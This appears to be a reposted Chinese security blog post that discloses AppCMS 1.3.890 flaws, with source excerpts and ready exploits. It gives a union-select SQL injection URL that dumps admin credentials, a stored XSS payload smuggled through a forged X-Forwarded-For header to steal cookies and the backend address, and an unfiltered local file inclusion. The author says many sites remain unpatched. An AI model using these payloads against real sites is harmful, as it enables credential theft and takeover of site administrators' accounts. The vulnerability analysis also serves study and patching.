AppCMS注入及xss漏洞大礼包exp,可打后台密码及地址

  • A+
所属分类:漏洞时代
摘要

#############################
# by phithon
# http://www.leavesongs.com
#############################

#############################
# by phithon
http://www.leavesongs.com
#############################

发乌云厂家不确认,官网的漏洞补了,不过还有很多站漏洞依旧存在。干脆给各位法克的同学学习了。
希望大家认真的看完,并不止于使用exp。看完对你以后的测试一定有启发。我不喜欢隐藏或收费,有钱的捧个钱场,没钱的捧个人场~哈哈

0x01 SQL注入原理

下载最新版本appcms_1.3.890。
查看index.php,有一段似乎是限制了搜索词的代码:
if (!preg_match("/^[/x{4e00}-/x{9fa5}/w {0}]+$/u", $_GET['q'])) {<br /> die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href="http://0day5.com/archives/1008/' . SITE_PATH . '">回到首页</a>');<br /> } [/php/<br /> 所以当我们在首页搜索含有’的关键词时会有提示:<br /> [php]搜索词只允许下划线,数字,字母,汉字和空格,请重新输入
但我们往前看,却发现了一段输出ajax的代码,这时候并没有过滤……所以注入由此产生:
<br /> //ajax请求联想关键字<br /> if (trim($_GET['q']) != '' && !isset($_GET['tpl'])) {<br /> $str = '';<br /> $sql = "SELECT app_id,app_title,app_down FROM " . TB_PREFIX . "app_list WHERE app_title LIKE '%" . trim($_GET['q']) . "%' LIMIT 15";<br /> $app_list = $dbm ->query($sql);<br /> if (count($app_list['list']) > 0) {<br /> foreach ($app_list['list'] as $k => $v){<br /> $app_list['list'][$k]['app_title'] = helper :: utf8_substr($v['app_title'], 0, 20);<br /> }<br /> echo json_encode($app_list['list']);<br /> exit;<br /> } else {<br /> exit;<br /> }<br /> }
当$_GET[‘q’]非空且$_GET[‘tpl’]为空时进入这个IF,因为刚才我们搜索的时候参数是这样:?tpl=search&q='sd,所以才没有进入这个if。
我们看到这个if语句中,直接把trim($_GET[‘q’])带入了select语句,造成了注入。
给出利用exp:<br /> index.php?q=xxoo'union select 1,uname,upass from appcms_admin_list where uid like '
不过爆出了管理员密码也有点鸡肋,因为这个cms强制让用户修改后台地址。所以,我们需要想点方法弄到后台地址。于是,下面这个xss由此产生。

0x02 XSS原理

comment.php 获得IP地址,并插入数据库:
<br /> /**<br /> * 获取客户端IP地址<br /> */<br /> public static function getip() {<br /> $onlineip = '';<br /> if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {<br /> $onlineip = getenv('HTTP_CLIENT_IP');<br /> } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {<br /> $onlineip = getenv('HTTP_X_FORWARDED_FOR');<br /> } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {<br /> $onlineip = getenv('REMOTE_ADDR');<br /> } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {<br /> $onlineip = $_SERVER['REMOTE_ADDR'];<br /> }<br /> return $onlineip;<br /> }
当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的,所以造成了XSS代码的注入。
但在数据库中,ip这个字段限制了字数,只有20字,所以绕过成为了难点。

所以我们来构造。
首先留一条言,内容是我们要写的xss代码,我这里就简单的弹出窗口:
**/alert(/xss)/**
发表的时候抓包,修改X-FORWARDED-FOR,写半个闭合的script:
X-FORWARDED-FOR:/<script type="text/javascript">// <![CDATA[<br />
然后刷新页面后再次写一条留言,内容就无所谓了,仍然是抓包,写前半个script标签:
X-FORWARDED-FOR:<script>/
这时任务就算完成了,实战的话就坐等接收cookie和后台地址了。
我们可以来到管理员页面 - 查看评论,可以看到窗口已经弹了:

其实我们可以理解整个流程,后面提交的留言排序到了前面,然后就依次的闭合掉了。最后变成了
</p><script>/**/alert(/xss)/**/ // ]]></script><p>
0x03 LFI
除了上面两个已经成功的漏洞以外,index.php里还存在一个本地文件包含,不过需要进行截断。
<br /> if (substr($tpl, strlen($tpl)-4, 4) == '.php') {<br /> $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;<br /> } else {<br /> $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';<br /> }<br /> if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);<br /> require(dirname(__FILE__) . $tmp_file);
判断后缀是不是php,如果不是就加上.php,然后判断文件是否存在,进行包含。并没有任何过滤。其中最初的这个$tpl就是$_GET['tpl']。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: